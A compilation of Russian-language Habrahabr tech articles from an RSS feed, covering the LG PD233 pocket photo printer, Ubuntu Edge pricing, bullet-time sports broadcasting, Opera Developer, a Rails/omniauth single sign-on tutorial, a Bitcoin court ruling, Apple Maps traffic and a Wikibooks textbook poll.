Мини-принтер LG: карманная фотолабаратория


Хорошие времена были, да? :) Нажал на спуск, забрал карточку, «прогрел» — и вот оно, моментальное фото. Сейчас в моде мобильные телефоны, планшеты, облачные , виртуализация и всякие заумные названия для привычных вещей, но ничто не мешает вам получить фотографию «здесь и сейчас», в любом уголке планеты, и сразу же отдать её кому-нибудь (или оставить себе, разумеется). Сегодня у нас в гостях портативный принтер LG PD233: о его возможностях, плюсах, минусах и подводных камнях можно узнать, нажав кнопочку:

Если честно, я уже не помню, когда в последний раз печатал фотографию дома. Если мне надо именно напечатать снимок (не важно, для паспорта-ли или сделать открытку из полученной мною фотографии) — я либо звоню знакомому, у которого свой центр печати, либо иду в соседний дом и заказываю печать там. Держать фотопринтер дома — дорого, если ты, конечно, не печатаешь на нем каждые несколько дней.

Герой обзора не позволяет распечатать фотографию формата А3 (да чего уж, даже формат А5 ему неподвластен), но может печатать с практически любого источника, в любом месте и в любое время.



Он легко помещается на ладони, в сумке или рюкзаке, имеет свою специальную бумагу, не требует картриджей, подключения к розетке (по крайней мере постоянного) и просто делает свою скромную работу: печатает фотографии размером 5 на 7.5 сантиметров.

Вот пример такой фотографии:


Как видите, ничего сверхъестественного, но оставить фото родителям, носить в бумажнике, сделать импровизированную визитку (при наличии графического редактора на телефоне) или фото на документы — достаточно.

Как это работает?
В основе всего — специальная «бумага» Zero Ink. Как и в случае с знаменитым стеклом Gorilla Glass, её разрабатывали достаточно давно, а вот вспомнили о технологии несколько лет назад. Сам фотоматериал — многослойный, базовый слой — белый, остальные — специализированные защитные и «красящие» слои, содержащие специальный кристаллизированный краситель.



Микроскопические кристаллы практически на 100% прозрачны для света, но если нагреть их до правильной температуры, то они потеряют свою структуру и превратятся в пятно красящего вещества, которое впитается в бумажный слой фотоматериала.



Цвет каждой точки определяется временем и температурой прогрева.



Вот гифка, на которой запечатлено плавление кристалла (изображение снято с электронного микроскопа):

oR3YFzXr.gif

Чем-то напоминает сублимационную печать, только здесь и «краска», и «бумага» спрессованы в один высокотехнологичный бутерброд, что и позволило создать карманный принтер, который правильным образом прогревает бумагу в нужных местах, изменяя структуру и «выпаривая» нужный цвет.

Характеристики отпечатка
«Основной» режим позволяет запечатывать фотоматериал «в край», получая полное изображение 75 на 50 миллиметров. Разрешение «бумаги» (и принтера) — 1224 на 640 точек, не так много, как хотелось бы, но кадры нельзя назвать размазанными или нечёткими: детали портретов/пейзажей сохраняются достойно. Разумеется, печатать групповое фото шестидесяти азиатов общим планом — затея пустая: лиц не разглядишь, а бумагу потратишь.

Принтер
Наконец мы вплотную подошли к самому девайсу. Описывать его внешний вид не вижу смысла: никаких изысков или вычурных изгибов. Кирпичик с одной кнопкой, одной дверцей, под которой скрывается microUSB и reset hole, одним лотком для загрузки спецбумаги. В общем, всё видно на фото:









Верхняя часть (с надписью NFC) — съёмная, содержит в себе подпружиненный элемент, отвечающий за подачу бумаги, да закатанную в пластик NFC-метку со ссылкой на спецприложение Pocket Photo в Google Play.



К сожалению, по Beam передавать фото не выйдет, и NFC здесь нужен только для быстрой настройки и сопряжения девайсов: контактов на крышке никаких нет, значит там обычный RFID-чип, основная передача данных в любом случае будет идти через Bluetooth.



iOS тоже поддерживается, но испытать не довелось: не водятся в моём окружении сии бесовские устройства.

Комплектация, помимо  самого принтера, такова: USB-кабель, зарядное устройство, 10 листов для «быстрого старта» + Smart Sheet для «самоочистки», руководство пользователя и коробочка, в которое всё это счастье завёрнуто.



Софт
Приложение Pocket Photo я бы не назвал верхом простоты и удобства, а за пародию iOS-паттернов в Android-интерфейсе так и вообще бы поставил ответственных к стенке, но что есть, то есть, давайте изучать:

Первый экран, который открывается после настройки — папка с фотографиями с камеры. Просматривать можно как в форме «календаря», с разложенными по датам фотографиями, так и в виде «фотопотока», с миниатюрами в нижней части экрана и превью в верхней.

Вторая вкладка — редактор фотографий. Позволяет кропнуть фото перед печатью, добавить подпись/надпись, QR-код с определённой информацией, рамку и стикеры.



В общем, стандартное меню предпечатной подготовки, работает всё шустро и интуитивно, проблем с правкой фотографий не возникает. Там же можно задать область печати и «дублирование»: получить 2 фото на одной бумажке, или даже 4 — не вопрос. Если вас устроит размер… принтер способен и на такое.



По середине приютилась кнопка «печать», которая, собственно, отправляет изображение на принтер с инструкцией «пилите, шура».

Остальные кнопки не содержат ничего интересного — шаринг фото через беспроводные интерфейсы и настройки + кнопка, ведущая в интернет по запросу покупки соответствующей бумаги. У меня открывается eBay, что, в принципе, не самый актуальный для России источник.

Принтер в работе
Вот вы нажали волшебную кнопочку «печать», фотография улетела по USB в белую коробочку, та заскрипела и ~ спустя одну минуту у вас в руках долгожданная фотокарточка. С печатью вопросов не возникает, а вот как обстоят дела с обслуживанием?

Всё обслуживание заключается в своевременной закладке очередной десятки листов + голубенькой карточки Smart Sheet (её надо грузить баркодом вниз, а сам трей для загрузки бумаги имеет синюю полосочку, которая лишний раз напоминает о том, с какой стороны от листочков должна быть «чистилка»). Понятия не имею, как принтер чистит термо-голову, но если производитель рекомендует… Что ж, так тому и быть.



Рекомендуется чистить один раз после 10 снимков.

Расходники
Единственный расходник (помимо электричества, которое надо загружать в девайс через стандартный microUSB-порт) — бумага.

Бумага у нас продаётся в Связном, стоимость комплекта из 30 листочков — в районе 400-500 рублей. Дорого? Да, дорого. Однако при всём этом снимки получаются неплохие, пусть и маленькие, а про картриджи с чернилами можно вообще забыть. К тому же подобные передовые штуки всегда стоят поначалу немалых денег, а вот тёплые воспоминания… Они, знаете ли, бесценны.



Вместо заключения
Кто-то назовёт этот девайс игрушкой, кто-то подарит родственникам/знакомым, а для кого-то он может стать рабочим инструментом (маловероятно, конечно, но мало ли). У девайса есть свою плюсы и свои минусы, и они вполне очевидны. Автономность, возможность работы практически с любым смартфоном, портативность и универсальность + неплохое с точки зрения функционала ПО в комплекте — несомненно, плюс. Цена расходников, их редкость и размер отпечатка — вынужденные минусы, сопряжённые с самой технологией печати.

Устройство всегда можно взять с собой, скинуть фотографию, распечатать, а дальше уже распоряжаться снимком как душе будет угодно. Пока что технология только-только вышла в массы и не является верхом экономичности и эффективности. С другой стороны, аналогов и конкурирующих технологий тоже не видно, так что будем надеяться, что производитель не забросит поддержку девайса, а сами расходники со временем подешевеют. Ну а пока я шлю привет хабру с напечатанной фотокарточки и жду интересных комментариев! :)



p.s.: мне тут сказали, что в одном из конкурсов LG в соц.сетях как раз призом значится данный девайс, так что если он вам пришёлся по нраву, а покупать — земноводное мешает, можете попытать своё счастье здесь, тут или там. Хороших выходных!

Источник: habrahabr.ru,
получено с помощью rss-farm.ru


Canonical снижает цену на Ubuntu Edge до 695$ до конца кампании

image

Несмотря на амбициозный старт, когда менее чем за сутки было набрано более 3 миллионов долларов из необходимых 32 миллионов, интерес к смартфону довольно быстро упал и сегодня, Canonical анонсировали что с сегодняшнего дня и до конца кампании снижает цену на смарфтон до фиксированой цены 695$.

Canonical пообещал компенсировать разницу в цене всем тем, кто заплатил за телефон больше,

За прогрессом кампании можно следить на сайте ubuntu-edge.info.

Кампания: Indiegogo
Источник: Omgubuntu

Источник: habrahabr.ru,
получено с помощью rss-farm.ru


[recovery mode] Cпецэффекты в стиле «Матрицы» для спортивных телетрансляций



Идея использовать эффект облёта замедленной камерой практически неподвижного объекта (bullet time), ставший популярным благодаря фильму «Матрица», для съёмки спортивных событий не нова. Ещё в 2001 году во время трансляции Суперкубка по американскому футболу использовалась система EyeVision из тридцати камер. Однако тогда технология не позволила сделать это достаточно плавно и красиво. Компьютер использовался прежде всего для согласованного управления камерами, а для создания эффекта облёта использовалось очень быстрое переключение сигнала, идущего с тридцати отдельных видеорекордеров, связанных с каждой камерой.

В кино эффект достигался за счёт полностью контролируемых условий съёмки и длительной пост-обработки. Сделать то же самое в реальном времени, без дублей и заранее срежиссированных движений актёров гораздо сложнее. Но сегодня наконец-то появляются системы, способные на это. Возможно, скоро они станут такой же привычной составляющей спортивных трансляций, как замедленный повтор.

Японская телерадиокомпания NHK тестирует роботизированную многокамерную систему из девяти видеокамер. Ведущей камерой управляет оператор, остальными — компьютер. Направление, фокусное расстояние и зум ведомых камер рассчитывает компьютер в реальном времени, так чтобы кадры с них можно было склеить в последовательность, имитирующую облет камерой неподвижного объекта съёмки.


Ведомые камеры не просто повторяют все движения ведущей — угол поворота и фокус каждой из них слегка отличаются, чтобы все они смотрели строго в одну точку. Видео с камер также проходит обработку в компьютере, чтобы эффект получился плавным и аккуратным. Это напоминает оригинальную кинематографическую технологию, когда для плавного перехода между кадрами с разных камер использовался морфинг. Пока что обсчёт одной последовательности занимает около минуты. В перспективе это можно будет делать практически в реальном времени, а число камер может быть намного больше девяти.

Ещё дальше продвинулась израильская компания Replay Technologies, представившая недавно технологию FreeD. В отличие от классической схемы с очень большим количеством камер и преимущественно двухмерными алгоритмами пост-обработки, такими как морфинг или интерполяция, система FreeD почти полностью полагается на трёхмерное моделирование. На основе изображений с нескольких камер строится фотореалистичная 3D-модель кадра, который нужно облететь. Весь процесс занимает около 30 секунд. Фактически, вместо оригинальной картинки, хоть и подвергнутой пост-обработке, в эфир идёт короткая компьютерная анимация, визуально неотличимая от настоящего видео.


В июне этого года система FreeD уже отработала на нескольких бейсбольных матчах на стадионе Yankees в Нью-Йорке, а 8 сентября её будет использовать телекомпания NBC во время матча по американскому футболу на стадионе Cowboys в Далласе. Технологии этой же компании использовались во время Олимпиады 2012 года в Лондоне во время соревнований гимнастов.

Мгновенные повторы в стиле bullet time интересны ещё и тем, что позволяют улучшить качество судейства — теперь появляется возможность просмотреть спорный момент не только в замедленном времени, но и с очень большого количества ракурсов. А использование 3D-моделирования раскрывает широкие возможности для спортивной аналитики — если у нас есть динамическая цифровая модель момента игры, из неё достаточно легко получить практически любые данные о скорости и силе ударов, высоте прыжков и положении тела спортсменов без использования специальных датчиков.



Источник: habrahabr.ru,
получено с помощью rss-farm.ru


Первый релиз на канале Opera Developer


Как мы уже писали раньше, Opera переходит на ускоренный цикл релизов, состоящий из трёх каналов: Opera, Opera Next и Opera Developer. Если первые два канала уже с вами, то третий, самый экспериментальный, мы придерживали до тех пор, пока в нём не накопилось много интересного. Итак, встречайте: Opera Developer для Mac и Windows.

Если вы разрабатываете сайты или расширения, мы рекомендуем вам установить эту сборку Opera Developer: она будет часть обновляться и станет местом, где прежде всего будут появляться новые браузерные возможности и веб-технологии, которые, в итоге, придут в стабильные версии браузера Opera.

В чём же разница между Opera Next и Opera Developer? Next демонстрирует возможности, которые появятся в следующей стабильной версии, а Developer — это место для экспериментов, которые войдут в Next и пойдут дальше, а может быть так и останутся экспериментальными.

Чтобы не быть голословными, вот некоторые различия между текущими версиями Opera Next и Opera Developer…

  • Текущая версия Opera Next 16.0.1196.29 и она работает на Chromium 29, Opera Developer имеет версию 17.0.1224.1 и работает на Chromium 30.
  • В этой версии Opera Developer мы вернули некоторые возможности из Opera 12: закрепление вкладок и жесты с зажатой кнопкой мыши (не забудьте включить жесты в настройках).
  • Добавились новые API для расширений: закладки, команды, адресная строка, webNavigation — документация для них в работе.
  • В настройках впервые появился блок «При старте», где можно выбрать, что будет делать Opera: продолжать с прошлого места, откроет стартовую страницу или откроет группу страниц, которые можно задать дополнительно.
  • Теперь можно создавать своих поисковых провайдеров и устанавливать для них ключевые слова
Также в экспериментальном разделе
opera:flags
появились некоторые возможности из Chromium и некоторые только наши:

  • Медиавозможности, то есть поддержка микрофона и видео, которые вы можете проверить на Web Audio Playground или Webcam Toy.
  • Контекстные меню для расширений, которые добавляют выпадающее меню для кнопок расширений, которое позволяет спрятать кнопку или быстро удалить расширение.
  • Ленивая загрузка сессии позволит вам быстро запускать браузер с несколькими вкладками, из которых загружаться будет только активная, а остальные будут ждать своего момента.
  • Поддержка тем оформления позволит вам устанавливать лёгкие темы из каталога расширений, как это было в Opera 12. Но это только начало, мы планируем расширить формат тем, чтобы можно было ставить отдельные картинки для разных системных вкладок, вроде настроек, экспресс-панели и загрузок.
  • Режим HiDPI теперь поддерживается и на Windows
Ну, как вам — нравится?

PS: Напомним, что сейчас в работе: вертикальные вкладки, миниатюры вкладок, список вкладок для переключения, перемещение вкладок между окнами, панель быстрого доступа (ранее известная, как панель закладок), синхронизация, настройки для сайтов и многое другое. Когда %THIS% будет готово? Когда мы это закончим, но тенденция хорошая, сами видите.

Источник: habrahabr.ru,
получено с помощью rss-farm.ru


[Из песочницы] Single sign-on на omniauth и rails


Аутентификация пользователей в экосистемах наподобие Google или Envato реализована в виде отдельных сервисов (accounts.google.com, account.envato.com), предоставляющих необходимые данные и токены сайтам-клиентам. В ходе разработки некоторых проектов на Ruby on Rails мне и пришлось столкнуться с подобной задачей. По-научному — single sign-on или технология единого входа.

Нужен был (1) общий сервис для всех сайтов экосистемы, с (2) преимущественно социальной авторизацией, в угоду входу по связке «логин+пароль».
Сервис, (3) аккумулирующий в себе данные из тех социальных сервисов, с помощью которых пользователь входит в систему, и (4) предоставляющий эти данные сайтам-клиентам.

Задача оказалась настолько же интересной, насколько и нестандартной. Началось все с полезной, но уже немного устаревшей статьи — автор предлагал использовать гем omniauth и кастомную стратегию на сайтах клиентах, а на сайте-провайдере — использовать тот же omniauth в связке с devise для аутентификации через соц. сервисы.

Devise в моем случае подходил мало (завязка на логине+пароле), поэтому предпочтение было полностью отдано omniauth. С этого и началось мое маленькое приключение, о ходе которого предлагаю вам ознакомиться в данной статье.

Общая схема

Рассмотрены будут три проекта: сайт-клиент, сайт-провайдер и кастомная стратегия omniauth. По ссылкам все они доступны на github и готовы к использованию. В статье будут подняты лишь ключевые моменты.

Сайт-клиент
Запускать будем на localhost:4000.
Структура стандартна для любых сайтов, использующих omniauth:
  • В Gemfile подключаем omniauth и нашу стратегию omniauth-accounts:
<code class="ruby">gem 'omniauth'
gem 'omniauth-accounts'
</code>
  • bundle install
  • В config/initializers/omniauth.rb вставляем код инициализации:
<code class="ruby">Rails.application.config.middleware.use OmniAuth::Builder do
	provider :accounts, ENV['ACCOUNTS_API_ID'], ENV['ACCOUNTS_API_SECRET'],
		client_options: {
			site: ENV['ACCOUNTS_API_SITE']
		}
end
</code>
  • В router.rb добавляем маршрут для callback-метода:
<code class="ruby">match '/auth/:provider/callback', :to => 'auth#callback'
</code>
  • Создаем контроллер и callback-метод в нем, в котором получаем через request.env['omniauth.auth'] конечный хеш с данными и токенами
<code class="ruby">rails g controller auth --skip-assets

# auth_controller.rb
class AuthController < ApplicationController
	def callback
		auth_hash = request.env['omniauth.auth']
		render json: auth_hash
	end
end
</code>
Вот и все, минимально.

Стратегия
Производная от стандартной oauth 2.0 стратегии, в Gemspec указана зависимость omniauth-oauth2. Кода совсем немного, к тому же — подстраивать его под себя не имеет смысла, все необходимые стратегии данные передаются в параметрах инициализации (в примере — в виде переменных окружения). Это:
  • Ключи credentials (ACCOUNTS_API_ID и ACCOUNTS_API_SECRET) для подключения к сайту-провайдеру сайта-клиента
  • Адрес сайта-провайдера ACCOUNTS_API_SITE
  • Адрес для аутентификации на сайте-провайдере (по-умолчанию: /authorize)..
  • … и для получения токена (/token)
Получив эти данные, стратегия всю дальнейшую работу берет на себя. Из-за этого, правда, в ходе разработки могут происходить неприятные случаи, когда в определенной ситуации стратегия «теряется» — не может продолжить свое выполнение дальше как планировалось. С такими проблемами пришлось столкнуться и мне, и решение каждой было найдено — будет рассмотрено далее в статье.

Сайт-провайдер
Запускать будем на localhost:3000.
Сочетает в себе две половины:
  • Одна — для общения с сайтом-клиентом
  • Другая — для общения с социальными сервисами

Аутентификация на сайте-провайдере происходит с помощью стандартных стратегий omniauth.
Аутентификация на сайте-клиенте — с помощью кастомной стратегии.

Общее звено — аккаунт (account):
  • К нему привязаны способы входа на сайте-провайдере (как ключница на хабре)
  • К нему же привязаны приложения и гранты для сайтов-клиентов

Аутентификация на сайте-провайдере и управление аккаунтом

Приятно бывает при регистрации на сайте-клиенте заполнить большую часть требуемых полей автоматически, из своего профиля в Facebook или Twitter. Наш сайт-провайдер будет играть роль агрегатора — пусть он агрегирует все данные из соц. сервисов в единой анкете, которую можно дополнять вручную, а сайты-клиенты будут брать информацию оттуда.

Данная тема ранее уже проскакивала на страницах хабра. К сожалению, никак не могу найти эту статью, но там, в частности, поднимался вопрос о типичных проблемах при социальной аутентификации на сайте:
  • Возможность слияния аккаунтов
  • Обновление данных аккаунта при их обновлении в сервисах
  • Возможность привязки разных сервисов к одному аккаунту
Все это — типичные требования к системе подобного типа, так же как и валидация с отправкой письма на email — традиционное требование, сложившееся в аутентификации по логину+паролю. Кратко рассмотрим эти требования.

Слияние аккаунтов
Зашли в систему через gmail-ящик — система создала один аккаунт, с данными из gmail'а. В следующий раз зашли через фейсбук, и система снова создала новый аккаунт. Смотрим и понимаем, что в прошлый раз уже аккаунт себе создавали через… вспоминаем… gmail! Кликаем по кнопке, заходим в этот раз через gmail и наши аккаунты сливаются в один — просто как две копейки!.. или нет — есть одна проблема. Слияние данных.

В gmail мы — Александр Половин, а в фейсбуке — Alex Polovin. И какие данные оставить в аккаунте?

Тут же при слиянии спросить у пользователя, что из этого оставить? Нет, это очень неудачная в плане юзабилити затея — пользователь ведь сливает аккаунты, чтобы поскорее снова зайти с помощью аккаунта на сайт, на который он заходил прежде, у него нет времени сейчас отвлекаться на диалоги вида «Заменить» и «Заменить все».

Моим решением стало добавление новых данных «про запас», как дополнительных значений полей аккаунта. По сути, все данные аккаунта хранятся в хеше, и этот хеш может принять следующий вид после слияния (добавим туда еще данные с условного твиттера — Половин Алекс):
<code class="ruby">{
	name: ['Александр Половин', 'Alex Polovin', 'Половин Алекс'],
	first_name: ['Александр', 'Alex', 'Алекс'],
	sir_name: ['Половин', 'Polovin'],
	...
}
</code>
Как видите, значения просто добавляются в массив для каждого поля. При этом они не дублируются — «Половин» из твиттера не сохранился дубликатом в «фамилии».

Сайты-клиенты же будут всегда получать самое первое значение из массивов, при желании пользователь может поставить на первое место любое из значений.

Обновление данных аккаунта
Среди всех данных, доступных omniauth из соц. сервисов, наиболее часто обновляется аватар пользователя. Чуть реже — ссылки на страницы (параметр urls), nickname и description в твиттере. В любом случае, возникает желание одним нажатием обновить их и в аккаунте… или оставить прежние — ситуации ведь бывают разные. Наш алгоритм для этого отлично подходит — записывает новые значения в конец массивов, не сохраняя дубликаты.

Привязка разных сервисов к одному аккаунту
Аналог ключницы на хабре — в системе создается запись в таблице аутентификаций и привязывается к текущему аккаунту. Используется в дальнейшем как ключ и как источник данных.

Ручное редактирование полей аккаунта
Не все поля заполняются из соц. сервисов. Пользователь должен иметь возможность заполнить недостающие данные самостоятельно, на странице сайта-провайдера. А также — менять местами значения в массивах, что было упомянуто парой абзацев выше.

Реализация
Модели
  • Account — хранит в себе хеш данных (info)
  • Authentication — совершенная через omniauth аутентификация на фейсбуке, твиттере, либо другом сервисе; хранит в себе имя провайдера и uid пользователя;
Чтобы Rails понимал info как хеш: в миграции указывается тип поля text, а в модель добавляется код:
<code class="ruby">serialize :info, Hash
</code>
Между моделями — связь один-ко-многим:
<code class="ruby"># /app/models/account.rb
has_many :authentications

# /app/models/authentication.rb
belongs_to :account
</code>

Контроллеры
AuthenticationsController покрывает все нужды по аутентификации, включает следующие действия:
  • auth (/auth) — страница выбора сервиса для входа, либо обновления данных анкеты
  • logout (/logout) — выход из системы
  • callback (/auth/:provider/callback) — в этом методе выполняется основная работа по входу, обновлению данных, привязке аутентификаций и прочее
  • failure (/auth/failure) — выполняется если при входе произошла ошибка на «том конце»
  • detach (/auth/detach) — отсоединяет аутентификацию от текущего аккаунта
При выборе одного из сервисов аутентификации, выполняются стандартные для omniauth операции — венцом которых, в случае успешной аутентификации, является вызов callback-метода. В зависимости от ситуации он выполняет следующие действия:
  • Обновляет данные анкеты
  • Сливает два разных аккаунта воедино
  • Привязывает новый сервис к текущему аккаунту
  • Выполняет повторный или первичный вход в систему
Хеш данных при этом формируется в отдельном приватном методе get_data_hash() в зависимости от выбранного соц. сервиса.

Для добавления данных в конец массивов без дубликатов используется метод модели add_info (основан на операции объединения массивов):
<code class="ruby">def add_info(info)
    self.info.merge!(info){|key, oldval, newval| [*oldval].to_a | [*newval].to_a}
  end
</code>
А для привязки аутентификаций — add_authentications:
<code class="ruby">def add_authentications(authentications)
    self.authentications << authentications
  end
</code>
В результате, в сессии сохраняется id аккаунта, для которого был совершен вход — session[:account_id].

AccountsController на данном этапе содержит такие действия:
  • index — вывод анкеты пользователя в виде формы
  • edit — редактирование данных анкеты аккаунта
  • update — обновление анкеты (POST-запрос из edit)
А также фильтр — обязательная проверка на наличие пользователя в сети (с редиректом на страницу входа login).

Очень хотелось добиться возможности действительно удобного и гибкого изменения данных. И такая задача до сих пор стоит и будет прорабатываться в будущем. Пока что — редактирование происходит двумя способами:
  • Если js отключен — есть текстовая зона с YAML-форматированным хешем
  • Если включен — подгружается визуальный редактор json-структур jsoneditor


Создание связи между сайтом-клиентом и сайтом-провайдером

Стандартной практикой в этом случае является создание «приложения» на сайте-провайдере. Указываем имя и адрес сайта-клиента (вернее — адрес для callback-редиректа) — и получаем два ключа — id и secret. Их указываем в параметрах системы социальной аутентификации — будь то какой-либо плагин к cms, или гем для Rails. В нашем случае — ключи используются omniauth — ACCOUNTS_API_ID и ACCOUNTS_API_SECRET.

Внедрить поддержку приложений в сайт-провайдер несложно:
<code class="ruby">rails g scaffold Application name:string uid:string secret:string redirect_uri:string account_id:integer
rake db:migrate

# account.rb
has_many :applications
</code>
Модель при создании новой записи должна генерировать для нее ключи:
<code class="ruby">before_create :default_values
def default_values
	self.uid = SecureRandom.hex(16)
	self.secret = SecureRandom.hex(16)
end
</code>
И — во всех действиях на приложения должна стоять фильтрация по текущему пользователю. Например, вместо:
<code class="ruby">@applications = Application.all
</code>
используется:
<code class="ruby">@applications = Account.find(session[:account_id]).applications
</code>
Причем — обязательно добиваться того, чтобы пользователь был в сети — поставить фильтр:
<code class="ruby">before_filter :check_authentication
def check_authentication
	if !session[:account_id]
		redirect_to auth_path, notice: 'Вам необходимо войти в систему, используя один из вариантов.'
	end
end
</code>

Схема процесса
Аутентификация построена на oauth 2.0 — о принципах работы данного протокола можно узнать в этой статье на хабре, либо наглядно здесь.

Отправная точка — адрес client-site.com/auth/accounts. Его подхватывает omniauth и, используя стратегию omniauth-accounts, отправляет запрос на сервер сайта-провайдера.

При этом omniauth генерирует параметр state, который помогает провайдеру не перепутать запрос от одного сайта-клиента и пользователя с другими запросами.

Сайт-провайдер принимает запрос (по стандарту — по адресу provider-site.com/authorize), и выполняет определенные действия. Цель провайдера на данном этапе — авторизовать пользователя и выдать ему грант на аутентификацию на сайте клиенте.

Если цель достигается, с сайта-провайдера идет редирект в callback-метод сайта-клиента, в котором через request.env['omniauth.auth'] мы получаем хеш с токенами и данными от сайта-провайдера.

Авторизация
Метод authorize — самое темное место в схеме процесса — уж очень много нюансов нужно учесть, прежде чем выдать грант пользователю.

В идеале (при повторной авторизации) — соблюдаются следующие условия:
  • Пользователь уже выполнил вход на сайте-провайдере
  • Пользователю уже был выдан грант на это приложение ранее
  • У этого гранта еще не истек срок годности
В этом случае пользователь авторизуется сразу же, и выполняется редирект в callback-метод сайта-клиента. Параметрами отсылаются код гранта и состояние state.

Если хотя бы одно из этих условий не выполнено — необходимо сперва уладить проблемы:
  • Если пользователь не выполнил вход на сайте провайдере — позволить ему сделать это
  • Если грант не выдан — создать его
  • Если у гранта истек срок годности — пересоздать грант
Эти действия подразумевают навигацию по сайту-провайдеру и даже по сайтам соц. сервисов (если пользователю нужно войти в систему). Последнее неспроста оказалось выделено — именно в этом месте omniauth показывает свои неприятные стороны.

Дело в том, что omniauth при переходе в authorize передает несколько параметров в url, а также прописывает несколько параметров в сессии сайта-провайдера. Это необходимо ему для корректного редиректа в callback-метод. Но если мы вдруг захотим воспользоваться omniauth на сайте-провайдере (например, при попытке войти в систему через соц. сервис) — omniauth сотрет свои данные из сессии. И редирект завершится ошибкой OmniAuth::Strategies::OAuth2::CallbackError — invalid_credentials.

Поэтому, во избежание подобных ситуаций, все параметры omniauth четко фиксируются в сессии и восстанавливаются уже перед самым редиректом.



orders#register
Если все параметры переданы верно (то есть запрос пришел именно от omniauth) — создаем в текущей сессии запись — «заказ на грант» и сохраняем в ней все параметры:
<code class="ruby">session[:grants_orders] = Hash.new if !session[:grants_orders]
session[:grants_orders].merge!(
	params[:client_id] => {
		redirect_uri: params[:redirect_uri],
		state: params[:state],
		response_type: params[:response_type],
		'omniauth.params' => session['omniauth.params'],
		'omniauth.origin' => session['omniauth.origin'],
		'omniauth.state' => session['omniauth.state']
	}
)
</code>

orders#show
Выполняем все проверки здесь. В сети ли пользователь, зарегистрировано ли на сайте приложение, с которого пришел запрос, есть ли старый грант, просрочен ли он.
  • Если все в порядке — сразу вызываем метод выдачи гранта
  • Если что-то не так — показываем страницу, типичную для таких аутентификаций («Приложение запрашивает доступ к аккаунту», «Разрешить», «Запретить»)


orders#accept
Выполняется, если грант сразу был и подходил по требованиям, либо при нажатии на кнопку «Разрешить» на странице заказа гранта.
  • Все сохраненные в сессии параметры omniauth восстанавливаем, чтобы они адекватно обработались omniauth'ом при редиректе в callback-метод
  • Создаем грант и выполняем редирект

orders#deny
Отменяем заявку, просто удаляем ее из сессии.

grants#token
По переданным параметрам находим приложение и грант. Если все в порядке — выдаем токены гранта в формате json.

accounts#get_info
Возвращаем хеш в формате json, как и было условлено — только первые значения параметров, если те представлены массивом.
<code class="ruby">data_hash = grant.account.info
hash = Hash.new
hash['id'] = grant.account.id
data_hash.each do |key, value|
	if value.kind_of?(Array)
		hash[key] = value[0]
	else
		hash[key] = value
	end
end
render :json => hash.to_json
</code>

Заключение

Решение получилось бесхитростным — и в нем, наверняка, многое можно улучшить и оптимизировать. На данный момент намечены следующие задачи:
  • Дать возможность при создании приложения указывать, какие именно параметры оно будет требовать — обязательно и необязательно. И, если необходимых параметров нет в анкете пользователя — давать ему возможность ввести их прямо на странице получения гранта
  • Обеспечить вход по связке логин+пароль — с помощью стратегии omniauth-identity
  • Добавить в сайт-клиент действие logout, выходящее из системы не только на сайте-клиенте, но и на сайте-провайдере
  • Решить проблему с пропадающей сессией при json-запросах token и get_info (это, судя по всему, как-то связано с системой безопасности Rails, protect_from_forgery и verify_authenticity_token)
Не каждый день приходится писать подобную систему — ведь, по сути, экосистем и в интернете то не так много. Google, Envato, Yandex, Yahoo — а кто еще? Быть может — ваш проект? Да и не единственный это способ внедрить аутентификацию в связанные проекты — есть технология CAS (пара полезных ссылок), есть OpenID (и как вариант — та же Логинза). На нашем же родном хабре и других проектах ТМ — вообще стоит отдельная система аутентификации на каждом сайте, плюс фирменная «Ключница».

Почему мой выбор пал именно на SSO? Пожалуй, ключевое «за» — это атмосфера. Это те ощущения, которые испытывает пользователь, когда совершает вход не на сайт, а в Систему — с большой буквы «С». В мощную, продвинутую, развитую Систему — это поистине потрясающее чувство, коллеги.


Источник: habrahabr.ru,
получено с помощью rss-farm.ru


Американский суд признал Bitcoin валютой

image

То, что биткоины представляют собой нерегулируемые виртуальные деньги, не освобождает их от подчинения американскому финансовому законодательству. Как пишет The Verge, об этом говорится в решении американского федерального окружного суда по делу Трендона Шейверса, которого обвиняют в организации финансовой пирамиды с использованием биткоинов.

Шейверс заявлял, что суд не обладает юрисдикцией для того, чтобы выносить решения в отношении Bitcoin-преступлений в рамках существующих законов о ценных бумагах. По словам обвиняемого, «никакие деньги не переходили из рук в руки к другому владельцу» — только биткоины, которые, как он утверждал, не являются валютой.

Судья Амос Маццант не согласился с Шейверсом. «Очевидно, что биткоины можно использовать как деньги», — написал он в заключении (PDF). «Их можно использовать для покупки товаров и оплаты услуг, и, как заявлял Шейверс, для оплаты расходов на проживание».

Хотя есть не так много мест, где можно оплачивать товары биткоинами, их можно обменять, как и любую другую валюту. «Таким образом, Bitcoin является валютой или формой денег, и инвесторы, которые хотели инвестировать [в компанию Шейверса Bitcoin Savings & Trust], вкладывали деньги», — заявил судья.

Это не первое решение, фактически признающее Bitcoin валютой. Ранее в этом году министерство финансов США назвало Bitcoin- «финансовыми учреждениями», которые имеют «такие же обязательства, как и любые финансовые ». Позднее суд Калифорнии пытался закрыть Bitcoin Foundation на том основании, что тот занимался нелицензированным бизнесом по переводу денег.

Источник: habrahabr.ru,
получено с помощью rss-farm.ru


Карты Apple начали показывать пробки в России

Пробки в Москве по версии Apple:



Карты Apple не идеальны, с сегодняшнего дня, компания Apple решила проявить интерес к России запустив у нас сервис по отображению пробок а дорогах.

Если еще вспомнить что в iOS 7 Siri начала очень криво понимать и читать русский язык, то можно надеется на повышение внимания и появления либо полноценной Siri на русском, либо на открытие полноценного магазина.



В Санкт-Петербург:



Что интересно, в других странах СНГ, пробки все так же не отображаются.

PS Пробки отображаются как на iOS 7 так и на iOS 6.


Источник: habrahabr.ru,
получено с помощью rss-farm.ru


Wikibooks.org и электронные учебники

Хабра поиск выдает целую серию статей об электронных учебниках, их перспективах и недостатках. И мне сначала казалось, что добавить пока нечего… пока я не открыл wikibooks.org и… не увидел там учебников!!! Т.е. там конечно есть некоторые книги, рецепты приготовления капустных салатов но ЭЛЕКТРОННЫХ УЧЕБНИКОВ для средней школы там просто нет!

Господа авторы и редакторы wikipedia.org, мое обращение прежде всего к Вам, давайте вместе сделаем учебники для школьников!


Давайте создадим такие учебники, которые мы будем считать правильными и полезными.

Я добавил голосование с целью определения количества Хабра пользователей, готовых присоединиться к созданию учебников для школьников.

P.S.: Кармы в хаб Wikipedia не хватает, поэтому не журите сильно.


В создании учебников по какому предмету Вы бы приняли участие?


Только зарегистрированные пользователи могут участвовать в опросе. Войдите, пожалуйста. Проголосовало 15 человек. Воздержалось 48 человек. Источник: habrahabr.ru,
получено с помощью rss-farm.ru




Математика (начальные классы)



Алгебра



Геометрия



Физика



Химия



Русский язык



